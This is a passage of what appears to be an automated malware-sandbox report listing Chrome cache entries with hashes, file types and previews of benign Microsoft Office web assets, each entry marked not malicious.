SHA-512:	2668E7EEFF653ECDEF04058FDC43328A80F297EE601839737F35A860737DAD438B03298C1A452E83DAED31DDDA540F7F065FE8F22FB05FC150A9FEAB08FFC91D
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/moe_status_icons.png
Preview:	.PNG........IHDR...R.........m......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400" xmpMM:DocumentID="xmp.did:98155F5CD83911E1ACDEFDB8BE9BCEAA" xmpMM:InstanceID="xmp.iid:98155F5BD83911E1ACDEFDB8BE9BCEAA" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09F73A8D39D8E111AE39EC2BD256A3F2" stRef:documentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.[...,IDATx..........{....a.... .<c......3.....

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x16
Category:	downloaded
Size (bytes):	4286
Entropy (8bit):	0.3626382302432769
Encrypted:	false
SSDEEP:	3:GlFFHvDllfl/t+lVsu/jXpRq/uXJRi/uXZRi/uXJRq/uX3XXRLtutpaKsx67YTsD:Gl/qlOeTjq2Di2Ti2Dq2nBL4OxhG5
MD5:	04D59A1FFDA7020CBDA1BB9FCBF0BCA0
SHA1:	E0CACE5751F02AF9E12B3C066FFD542F3D12A279
SHA-256:	EDC250E23E06AE7D15C1C19FDF9C6759129796B0A2F76DC82DF665C823C7B495
SHA-512:	A997D4384DA8D401321C497F49F73F0C79C1815DFD8B679458385D4E4A8ED2F645DDCF940A9347EA35F2D7AD3EE710F06784E8E1B1461AB7E8633BFF0FE0A691
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/pen_32x32.cur
Preview:	...... ..............(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	175719
Entropy (8bit):	4.255303968193695
Encrypted:	false
SSDEEP:	1536:0hEjBUBvBrBXBWBIBXBXBaBIBQBbBnBgAfBRBbB3BjBTBDBvBHBPBPBxBBBHB6ST:/RYAQ+
MD5:	9CFEFB2D46D6102DAC2A24C606F47FEA
SHA1:	076B63F4F46CE28648201E2507BBC67FB4F990C5
SHA-256:	43C5939CB732D8AA2D20FCE97F359F46B7C3B937E60ED576B752AE0A2E73314F
SHA-512:	C56812F0A9DCBC53E8AFA542923F20E911DE172C1D87B9868DB42A01F2FC303BBECE6509925E43E8F877DC8A3C7904FAE731C1C19BD35B5FAD18582B7498E24D
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/OfficeExtension.WacRuntime.js
Preview:	var __extends = (this && this.__extends) \|\| (function () {.. var extendStatics = function (d, b) {.. extendStatics = Object.setPrototypeOf \|\|.. ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\|.. function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };.. return extendStatics(d, b);.. };.. return function (d, b) {.. extendStatics(d, b);.. function __() { this.constructor = d; }.. d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());.. };..})();..var OfficeExtension;..(function (OfficeExtension) {.. var WacRuntime;.. (function (WacRuntime) {.. var ApiFlags;.. (function (ApiFlags) {.. ApiFlags[ApiFlags["none"] = 0] = "none";.. ApiFlags[ApiFlags["restrictedResource"] = 4] = "restrictedResource";.. ApiFlags[ApiFlags["makerSafe"] = 128] = "makerSafe";.. ApiFlags[ApiFlags["excludedF

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.8645491123712175
Encrypted:	false
SSDEEP:	96:qBjh9FRPoZ1ZPj1OQcqPERJJFro8ENa2z+wZ:+jhbRPoTB1O/qPsJxCa2z+wZ
MD5:	33C9F5DCC29BF7803DB5B31B5ECCDE7B
SHA1:	DB76B517E6DE25637E2C2EE26BAB90492B49169D
SHA-256:	C5391C3264A5EE303C943F77AA8B679F3B516E9C9CA1EC44C266F52D26C6D1C4
SHA-512:	FE1DD15FB3AE8E6C58D71DF1BE950D76765CD2324B6C79F854E4D7CE74D342C60FC571C45D54DF65A3EBC7D196FBD96EE396203C347E1DD97A72FA9E6B3669ED
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiGPGsd1+Hl/d3AExuOl1424"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.8848e66fec3f0fe2b9bd.js","sha384-f496wIDTKysXLbQhhn/fywK0oCK1tUyF25ra/f8IOV7+15bPmxzracOq6bT1J+tC"],"sharedaut

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38089), with no line terminators
Category:	downloaded
Size (bytes):	38089
Entropy (8bit):	4.894031142896769
Encrypted:	false
SSDEEP:	768:N4k0JvWptT2z2p9hmkNqJ3htY1xYhwn5n9O:CJOptT2Sp9A7htY1xYC5n9O
MD5:	E1124588AEEAC3262DABB915F467C364
SHA1:	9509D66B533B0B2453130719DAED374344AE8D93
SHA-256:	6FE1EC3B4D9E5E1E67ACD3EC946DA70CF06FC0A76C59C4C1EC124A0184D0EB6F
SHA-512:	F598C3D3B09C08229C577DA789BB61D9E5AD417E4ADD9EDCCB0B2804A93504776832A33DD60517724D44C25C0F7C4E8BA0B40454062F5FC8945A5F82ADD37BDE
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h6FE1EC3B4D9E5E1E_App_Scripts/1033/OneNoteIntl.js
Preview:	Type.registerNamespace("OneNoteIntl");OneNoteIntl.OneNoteStrings=function(){};OneNoteIntl.OneNoteStrings.registerClass("OneNoteIntl.OneNoteStrings");OneNoteIntl.OneNoteStrings.L_CloudFilesUploadSuccess="Successfully Uploaded : {0}";OneNoteIntl.OneNoteStrings.L_CloudFilesUploadFailed="Error Uploading : {0}";OneNoteIntl.OneNoteStrings.L_ContextMenuSmartLookup="Search";OneNoteIntl.OneNoteStrings.L_ContextMenuTextSmartLookup='Search "{0}"';OneNoteIntl.OneNoteStrings.L_BrowseVersions="Page Versions";OneNoteIntl.OneNoteStrings.L_Camera="Camera";OneNoteIntl.OneNoteStrings.L_CopyNotebook="Copy Notebook";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorMessage="The new experimental sync feature has experienced an error and your change may not be saved.";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorRefreshMessage="Please click here or refresh the webpage to resolve the issue.";OneNoteIntl.OneNoteStrings.L_CopyToCloudDescription="Edit and view this notebook on all your devices";OneNoteIntl.OneNot

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	89749
Entropy (8bit):	5.907896932868388
Encrypted:	false
SSDEEP:	1536:TF7qkDiiBSPqAYXUJqc9a/qc9aJyXUEUx:J7j7B4S6RaVC
MD5:	1BF11FC2DBDB5C48B7D60F5005583417
SHA1:	DF52B131F6B151E674204CBA77082EFAEFBC3F8C
SHA-256:	172E218E70CC419328B7AAB580615DA2A562E1508EAC9AC3014C52C51F2F50EC
SHA-512:	A40545B0B88AAF5EC4D28015B72451CE6F19073FC7E1CF6A8B08EEAB6D173CCE9E62553CACFDA7FE0FB4DDECB2E09E8B966C6466AE50AC31193481D82898ECB6
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/Meetings_manifest.xml
Preview:	.<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">...<Id>90da59be-5361-4260-9218-2262af1dc334</Id>...<Version>1.0.0.0</Version>...<ProviderName>Microsoft Corporation</ProviderName>...<DefaultLocale>en-US</DefaultLocale>...<DisplayName DefaultValue="Add Meeting Details">.... START STRING LOCALIZATION REPLACEMENT (StringID: OfficeAddIns.Meetings.ManifestDisplayName -->......<Override Locale="af-ZA" Value="Voeg vergaderingbesonderhede by" />....<Override Locale="en-US" Value="Add Meeting Details" />....<Override Locale="am-ET" Value="..... ...... ...." />....<Override Locale="ar-SA" Value="..... ...... ........" />....<Override Locale="as-IN" Value="..

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59654)
Category:	downloaded
Size (bytes):	59697
Entropy (8bit):	5.304306597777701
Encrypted:	false
SSDEEP:	1536:k+fzrepwrwLtneKYK9QkqoJTIL5I6iN8p2Li:k+qZDv9QFos5piCL
MD5:	F388E6D2859F4532C2B4F23E3D579853
SHA1:	58B698DE8680E34B83F8635CB4B8612E637F1D1A
SHA-256:	347BF1667EC71DE0FDBF07E5D1477A624117DE972509C5E511D10739E55454EA
SHA-512:	9D5B61A209CCFA2602C4FE5DEC0EE5FD87E09E7D424FD41E67F3CEA348F393B35B63C399500557078126BD2FFAB383B7A1DBF66B6F5CBEC6EF8D816F621FB723
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h347BF1667EC71DE0_App_Scripts/wp5/wacBootNew.min.js
Preview:	var wacBoot;!function(){"use strict";var e,n,t={29:function(e,n,t){t.d(n,{ZT:function(){return o},ev:function(){return r},pi:function(){return a}});var i=function(e,n){return i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,n){e.__proto__=n}\|\|function(e,n){for(var t in n)Object.prototype.hasOwnProperty.call(n,t)&&(e[t]=n[t])},i(e,n)};function o(e,n){if("function"!=typeof n&&null!==n)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");function t(){this.constructor=e}i(e,n),e.prototype=null===n?Object.create(n):(t.prototype=n.prototype,new t)}var a=function(){return a=Object.assign\|\|function(e){for(var n,t=1,i=arguments.length;t<i;t++)for(var o in n=arguments[t])Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o]);return e},a.apply(this,arguments)};function r(e,n,t){if(t\|\|2===arguments.length)for(var i,o=0,a=n.length;o<a;o++)!i&&o in n\|\|(i\|\|(i=Array.prototype.slice.call(n,0,o)),i[o]=n[o]);return e.concat(i\|\|Array.prototype.slice.call

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65340), with no line terminators
Category:	downloaded
Size (bytes):	675528
Entropy (8bit):	5.383416049021215
Encrypted:	false
SSDEEP:	6144:MoZ6qhUpx/G+7320IEI0cjJc67Vyz+hzd8/fS6tloGQTP4BZKhE2nxpyRNy0U+2C:nQF7G0Q7Jc2yzvhy0d2Wd
MD5:	7663AE1B778CF2BFD13ED0610F3651E4
SHA1:	48321D64E72371C1907B98E5177DA2B6B8B97B78
SHA-256:	A303D11862DE6B62D7243CF9437FDA5BD87E59C0BF0AA0EF95F672B1B640AB1F
SHA-512:	058C089326D0BFB80056C4030CF87F0D7EA22577E1B61931A36DD26370D72BE59840BC5F0DFF1ACFD245D891395252590D5B164AD3251697B985B536B17AA490
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/uiSlice20.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[732],{60942:function(e,t,n){var o;e=n.nmd(e),function(){var r,i="Expected a function",a="__lodash_hash_undefined__",s="__lodash_placeholder__",l=32,u=128,c=1/0,d=9007199254740991,p=NaN,f=4294967295,g=[["ary",u],["bind",1],["bindKey",2],["curry",8],["curryRight",16],["flip",512],["partial",l],["partialRight",64],["rearg",256]],h="[object Arguments]",m="[object Array]",v="[object Boolean]",y="[object Date]",b="[object Error]",C="[object Function]",x="[object GeneratorFunction]",S="[object Map]",_="[object Number]",w="[object Object]",E="[object Promise]",k="[object RegExp]",B="[object Set]",P="[object String]",I="[object Symbol]",F="[object WeakMap]",D="[object ArrayBuffer]",T="[object DataView]",M="[object Float32Array]",A="[object Float64Array]",R="[object Int8Array]",L="[object Int16Array]",N="[object Int32Array]",O="[object Uint8Array]",H="[object Uint8ClampedArray]",z="[object Uint16Array]",W="[object Uint32A

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 10 x 10
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.7072504511031354
Encrypted:	false
SSDEEP:	3:C8XUwltxljuXGF:t26
MD5:	76084E29CB2CF72B320E888EDC583DFB
SHA1:	8A1CA8DDC90D8A1BC2A6D2147BAB31B5904BFD83
SHA-256:	02D2855C8A5417CD637DF1E81F781E42FF2B12AD6DFFB923A3822F16B5BFA82A
SHA-512:	0F0BB4434CDE759B5D7CD40C8FB12E37E24ED28D687613D73C9F0475E413E79F2C92736B081B919FADE6815C06BC35F4782AFE0D1FF628BB7ED58DC890CC07FB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,.................c+.;

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	338655
Entropy (8bit):	5.447169482281962
Encrypted:	false
SSDEEP:	6144:9oVD7JNmWegmkbHvP13laF4TnWbZkI572/z55x0ZIFa8dsThdyIuIvaVg:oD7JNmWeglaF4CbZkI572eZIFa8OtdyW
MD5:	2CA3D23794FD651B80EB6BE2738DBC49
SHA1:	60CC9DC32E37EC2CD763D525AAB83B83E99E7EF5
SHA-256:	7C74A93AA7B1EE895CEE9D83583BB76927CDFDF112522BE8E10AC328A9F1C954
SHA-512:	4EC26BBB7468B72617921F06EEFFD66D5141EFDB1BBFF32077F278AF269E42A562F92FDE7B9518A26BED7F52596C3D02502B8E291C1A4E4DB680B930E7F285F9
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.slim.069109c7fede470e418e.js
Preview:	var Microsoft;!function(){var n,e,t,i,o={1827:function(n,e,t){var i,o=function(){var n=String.fromCharCode,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};function o(n,e){if(!i[n]){i[n]={};for(var t=0;t<n.length;t++)i[n][n.charAt(t)]=t}return i[n][e]}var r={compressToBase64:function(n){if(null==n)return"";var t=r.A(n,6,(function(n){return e.charAt(n)}));switch(t.length%4){default:case 0:return t;case 1:return t+"===";case 2:return t+"==";case 3:return t+"="}},decompressFromBase64:function(n){return null==n?"":""==n?null:r.H(n.length,32,(function(t){return o(e,n.charAt(t))}))},compressToUTF16:function(e){return null==e?"":r.A(e,15,(function(e){return n(e+32)}))+" "},decompressFromUTF16:function(n){return null==n?"":""==n?null:r.H(n.length,16384,(function(e){return n.charCodeAt(e)-32}))},compressToUint8Array:function(n){for(var e=r.compress(n),t=new Uint8Array(2*e.length),i=0,o=e.length;i<o;i

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65443)
Category:	downloaded
Size (bytes):	679572
Entropy (8bit):	5.505978282094452
Encrypted:	false
SSDEEP:	6144:tx3qVtti3uLmV42KwjPMa5mypQbKit4wKFLaI1MDmypuwfwxEY/c9RC3US5h9J/L:txbVt+Wa4UiF
MD5:	9FFF1A71F430529A2234D6651B332078
SHA1:	84CE12FD1930B804C15521300F7E209CE96543E1
SHA-256:	AD21D8A56C03EC5D9D00437B297110572AF10136D5DDFA9BCD2ABEA6E174EAB2
SHA-512:	A3850BF97E9F097A1C17A79D7F79A68B599556B779C059A5F4E3C6C775BD42DC45E0117423C2F19F09498FFEF53E71B0DBD2E11DE430872C3608F1E27BFC9E15
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/Feedback/latest/officebrowserfeedback_floodgate.js
Preview:	/! For license information please see officebrowserfeedback_floodgate.min.js.LICENSE.txt /.!function(e){var A={};function t(n){if(A[n])return A[n].exports;var r=A[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,t),r.l=!0,r.exports}t.m=e,t.c=A,t.d=function(e,A,n){t.o(e,A)\|\|Object.defineProperty(e,A,{enumerable:!0,get:n})},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.t=function(e,A){if(1&A&&(e=t(e)),8&A)return e;if(4&A&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(t.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&A&&"string"!=typeof e)for(var r in e)t.d(n,r,function(A){return e[A]}.bind(null,r));return n},t.n=function(e){var A=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(A,"a",A),A},t.o=function(e,A){return Object.prototype.hasOwnProperty.call(e,A)},t.p="",t(t.s=

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20551), with no line terminators
Category:	downloaded
Size (bytes):	20551
Entropy (8bit):	5.178389966283299
Encrypted:	false
SSDEEP:	192:FoUypumgG+U556LneUWqBDBm82pXmFySDxKOkOfwvNdBGUiEiZOFgZ4ndK3iIYTQ:FwFPUv3m82ZSDx1kOuhiEWTYTaUW
MD5:	3D6CA9B0358BEF8348220F958F049B61
SHA1:	8B85C3925FBC3D51E57658845A80C67F2101CC26
SHA-256:	8D7B8C265DF55DB9C4BE132CA6FE1CEEBB0CFE89AA47992738CAB92285C3AFAD
SHA-512:	EA3ED996E3C1C5DFBAB095E3F9533F1F64A34D667A0BD7FF31A489C55D159DB41C15CF978C5B4CF3E15196BC5F298D41AD58E4654200502B5AD3E70D1B6477D0
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/Feedback/latest/officebrowserfeedback.css
Preview:	.obf-ChoiceGroup{margin-bottom:8px}.obf-ChoiceGroup fieldset{margin:0;border:none;padding:0}.obf-ChoiceGroup legend{max-width:100%}.obf-ChoiceGroup input{position:absolute;opacity:0}.obf-ChoiceGroup input+label{display:block;display:grid;grid-template-columns:20px auto;cursor:pointer;margin:8px 6px 8px 6px}.obf-ChoiceGroup input:focus+label{outline:1px dashed #000}.obf-ChoiceGroup input+label>.obf-ChoiceGroupLabel{display:inline-block;vertical-align:middle;margin:0px 0px 0px 10px}.obf-ChoiceGroup input[type=radio]+label>.obf-ChoiceGroupIcon{display:inline-block;content:"";border:1px solid #a6a6a6;width:20px;height:20px;border-radius:10px;vertical-align:middle;box-sizing:border-box;-webkit-transition-property:border-color;-moz-transition-property:border-color;-o-transition-property:border-color;transition-property:border-color;-webkit-transition-duration:.2s;-moz-transition-duration:.2s;-o-transition-duration:.2s;transition-duration:.2s;-webkit-transition-timing-function:cubic-bezier(0.

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAk8dqZYMe7mkRIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.137537511266052
Encrypted:	false
SSDEEP:	3:beiCkj7Y:behw7Y
MD5:	292452D9158CA5211CEB7B3FB1D71E28
SHA1:	DE9347FB1604A4AADB4230CA87B9D9CADC98629E
SHA-256:	D6700E797D44FC7A78934BB9FC6C435027F1D23587B097003E3A84BD1B4E3333
SHA-512:	96F78888DEE4435B67982562B1A6BF4FFB084654F30AD616A3B2BBFD31DFDE4BB811116FD1C7A3C0CF7A52394EC4B84E70B82681570912448F965EF4F776CA79
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkuU2oEa5d8vxIFDdjY4LISBQ11LGDr?alt=proto
Preview:	ChIKBw3Y2OCyGgAKBw11LGDrGgA=

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 2944, version 4.30147
Category:	downloaded
Size (bytes):	2944
Entropy (8bit):	7.701609844461153
Encrypted:	false
SSDEEP:	48:3bH18jve96elI+0EqyTxBd9iAfZ5bu5oopTBvuF0nYwH22sn8feoKs:LVuvKLlIQqi9iAPNo72e2fnuIs
MD5:	569A610DF4FD269FAA528A2197DFAA9A
SHA1:	CFC7596B939A341C5DDFFC53CFD607745AF18E8F
SHA-256:	09A1411BF361D3D649F4FF5098E0197510232477BF099872F58F5D1EC483E9AF
SHA-512:	EBD67AFCF7779E4700A5441548E3090FF2B17D4D6176160A21C0BB7F72605B6C082294A2A4CED484945685EBF33210FC883AF2AFC18948F7A8C2E62C1A53E242
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h09A1411BF361D3D6_App_Scripts/fonts/sharedheaderplaceholder-icons.woff
Preview:	wOFF..................u.....................OS/2...D...H...`1Y{.cmap.......N...j.F.@cvt ....... .......fpgm...........Y...gasp................glyf.......]...0\.+Hhead...X...2...6.c..hhea...........$....hmtx..............Eloca................maxp........... .%..name...............Spost........... .Q.~prep............x...x.c`a..8.....u..1...4.f...$..........@ ...........<...!$.X............x.c```f.`..F..H....\|... ........\......./..<....../.N..z.....jPs..#.......L....x.c.b.e(`h`X.......x............x.]..N.@..s$..'@:!.uC....K$.%%...J.......n..b.........\|.s...\|v..G)V.7........!O.6eaL.yV.e.j..kN..M.h....Lm....-b....p.N.m.v.....U<..#...O.}.K..,V..&...^...L.c.x.....?ug..l9e..Ns.D....D...K........m..A.M....a.....g.P..`....d.............x..SML.Q...?..,.P-..I..=...4.R....`j4-Q.F...5...h.?$......z.Gc.h.r3.D=..n\|.RR..a....L.{.f..I...w......iu;..I2.}.<.......[l.......(,..g`...`u....q..."G.yW.."nQ.P(...[....p@..P...-b.CA.z8.zD..CW=/x..... U...F.$..%"...(aURI.UNE

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1252536
Entropy (8bit):	5.42601932265775
Encrypted:	false
SSDEEP:	24576:3hoafIXYpejEO5+1h6gKzhexY2OK7NkaIXXxb7DvpttZwJbhTJrSK4VxjPHRYOIS:RoafIXYpejEOM1h6gKNexY2OK7NkaIXh
MD5:	47ABFEF7CAC5C9764D02EBC5F7AE0ECD
SHA1:	88D19E0632BE7E1DD409B520351330BDA51C3551
SHA-256:	18C8F6190BBF95EEF9C53D1EE37E4F752A24A01B27A42BEF59B336A8FB8B38D1
SHA-512:	83F301B81B96E0FA55962626071AE63F6B7917EE1A25F853F371D81A69FDAC3242F9305A6463694611DE51BBFBD18C21B282DB67A897DFA1D81F171A634C6477
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/appChrome.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[640],{93755:function(e,t,o){var n=o(22120),r=o(83738);"string"==typeof n&&(n=[[e.id,n]]);for(var i=0;i<n.length;i++)r.loadStyles(n[i][1],!1);n.locals&&(e.exports=n.locals)},22120:function(e,t,o){var n=o(93556),r=o(78267)(n);r.push([e.id,'svg>path.OfficeIconColors_m20 {\r\n fill: #FAFAFAFF;\r\n}\r\nsvg>path.OfficeIconColors_m21 {\r\n fill: #C8C6C4FF;\r\n}\r\nsvg>path.OfficeIconColors_m22 {\r\n fill: #3A3A38FF;\r\n}\r\nsvg>path.OfficeIconColors_m23 {\r\n fill: #797774FF;\r\n}\r\nsvg>path.OfficeIconColors_m24 {\r\n fill: #1E8BCDFF;\r\n}\r\nsvg>path.OfficeIconColors_m25 {\r\n fill: #0063B1FF;\r\n}\r\nsvg>path.OfficeIconColors_m26 {\r\n fill: #83BEECFF;\r\n}\r\nsvg>path.OfficeIconColors_m27 {\r\n fill: #379E4EFF;\r\n}\r\nsvg>path.OfficeIconColors_m28 {\r\n fill: #309048FF;\r\n}\r\nsvg>path.OfficeIconColors_m29 {\r\n fill: #A1DDAAFF;\r\n}\r\nsvg>path.OfficeIconColors_m210 {\r\n fill: #

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35239), with CRLF line terminators
Category:	downloaded
Size (bytes):	64771
Entropy (8bit):	5.348088372707512
Encrypted:	false
SSDEEP:	768:ETarItjYUY5iwkD9Hr09qZsOlcJoPBPtvmF7GOeXGj3cRUOMJGXX3FouZoGfxdJM:EOctwghzzXgoUaPsP
MD5:	A8EA8FBF22829E2C653C150938D7FDFD
SHA1:	3083111B0EAB9440F7E78144540CE869F96BF085
SHA-256:	5A8982A30C73DC87FA7E9C66D9F399229C7698BF7363CCCC076DB04736AC0FCF
SHA-512:	3182007BCD7112D268CB4CEA16AD2FC81726FA74B789C02BF4058DF851CB72CE062BB1A13348CB6D44A806739813EB9705B60633A07FAAEAACDF0B5C959B0486
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/office.js
Preview:	var OSFPerformance;..(function (OSFPerformance) {.. OSFPerformance.officeExecuteStartDate = 0;.. OSFPerformance.officeExecuteStart = 0;.. OSFPerformance.officeExecuteEnd = 0;.. OSFPerformance.hostInitializationStart = 0;.. OSFPerformance.hostInitializationEnd = 0;.. OSFPerformance.totalJSHeapSize = 0;.. OSFPerformance.usedJSHeapSize = 0;.. OSFPerformance.jsHeapSizeLimit = 0;.. OSFPerformance.getAppContextStart = 0;.. OSFPerformance.getAppContextEnd = 0;.. OSFPerformance.createOMEnd = 0;.. OSFPerformance.officeOnReady = 0;.. OSFPerformance.hostSpecificFileName = "";.. function now() {.. if (performance && performance.now) {.. return performance.now();.. }.. else {.. return 0;.. }.. }.. OSFPerformance.now = now;.. function getTotalJSHeapSize() {.. if (typeof (performance) !== 'undefined' && performance.memory) {.. return performance.memory.totalJSHeapSize;.. }..

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
